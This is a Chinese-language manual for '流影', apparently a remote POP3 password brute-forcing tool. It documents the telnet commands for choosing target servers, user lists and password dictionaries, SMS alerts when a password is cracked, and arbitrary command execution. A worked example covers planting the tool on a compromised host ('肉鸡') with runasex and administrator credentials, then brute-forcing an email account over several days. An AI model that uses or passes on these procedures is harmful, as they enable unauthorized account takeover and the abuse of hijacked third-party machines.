流影使用说明

一、流影简介流影是一个和流光功能相似的工具，和流光最大的不同在于，流光是运行于用户主机也就是客户端的，是一个图形界面的工具，而流影可以同时运行于服务器端和客户端的工具。用户可以通过telnet来进行远程管理和控制。二、控制命令流影的全部设置通过telnet来进行，采用命令行方式。set server <pop3 server> 设置探测的pop3服务器，如：set server pop.21cn.comset user <username>|<file: user list file>|<scheme: user scheme file> 设置需要探测的用户名、用户列表文件或用户方案文件，关于用户列表文件及用户方案文件的详细解释参阅[流光]的说明文件。如：set user victim, set user file:c:\password.dic, set user scheme: user.schset password <password>|<dictionary file>|<dictionary scheme file> 设置探测时采用的密码、密码字典或密码程序方案。如：set password 123456, set password file: password.dic, set password scheme: pass.schrun 开始探测stat 查看当前运行的情况set singlemode <on>|<off> 开启/关闭简单模式，如果简单模式开启会自动用相同的用户名作为密码探测一次。show result <current>|<total> 查看已经探测出的本次密码或所有密码记录stop 停止当前探测。set suffix <null>|<suffix word> 设置是否自动在每一个密码后加指定的后缀。如：set suffix 123，即在每一个密码后自动加后缀123。ex:pass->pass123set prefix <null>|<prefix word> 设置是否自动在每一个密码后加指定的前缀。如：set prefix 123，即在每一个密码前自动加前缀123，ex:pass->123passset gsm <null>|<gsm id> et:<freq> 设置需要发送短消息的手机号码。如：set gsm 13900101234 et00，设置号码为13900101234，每探测出100个密码及发送一次。注意：必须是中国移动的手机，而且已经开通了短信息服务。set sms <message> 短消息发送，用于测试短消息的发送，发送的号码为set gsm指定的号码。change password <new password> 改变登陆的密码cmd [/display] <cmd> 执行制定的程序，[display]选项用于指定是否显示执行的输出结果。如：cmd /display dirquit 退出telnet控制端。shutdown 结束流影的运行。三、启动如果是在本地运行，直接键入如下命令即可：fspop.exe <port> <control password> [/verbose]port: 流影开启的端口，此端口可以和已经开启的端口重用，例如和端口137重用。control password: 每一次用telnet连接流影时的密码，最多8位。/verbose: 本地输出模式，如果打开此选项，可以在运行时看到扫描的过程，不建议在远程使用。如果在远程启动，首先用srv开启的端口登陆，之后需要用runasex来创建流影的进程，如：runasex administrator password "c:\winnt\system32\fspop.exe 137 123456" 建议在本地使用熟练后，再放到远程运行。四、一个典型的例子第一部需要做的当然是搞到一部肉鸡，经过用[流光2000]的探测，我们找到了一个肉鸡192.168.16.1（为了便于举例，此处是我在局域网中一台机器）。1、复制一些必要的文件上去2、启动srv进程，登陆3、利用runasex创建fspop.exe进程从上面可以看到，进程创建成功。现在我们可以来控制流影作一些事情了。我们需要破解一个帐号[e-mail](纯属虚构，请勿对号入座)，在一般的字典破解无效后，决定采用一个比较大的方案来暴力破解，方案的文件名为user.sch，是2个字母加4个数字的组合。首先telnet到流影开启的端口，在这个例子中是137，详细过程参见下图。需要说明的一点是，由于我们仅仅设定了一个用户，所以在设定手机短信息的发送频率时设为1，即et：1，也就是说一旦扫描成功，就通过短信息通知。从上面用stat命令可以看出，完成这一次扫描最多需要676万次探测，通常在远程的扫描速度可以达到100万次/天，也就是说可以在一周内完成。当开始扫描后，我们就可以不必理会了，因为这一切都是在服务器上进行的。------------------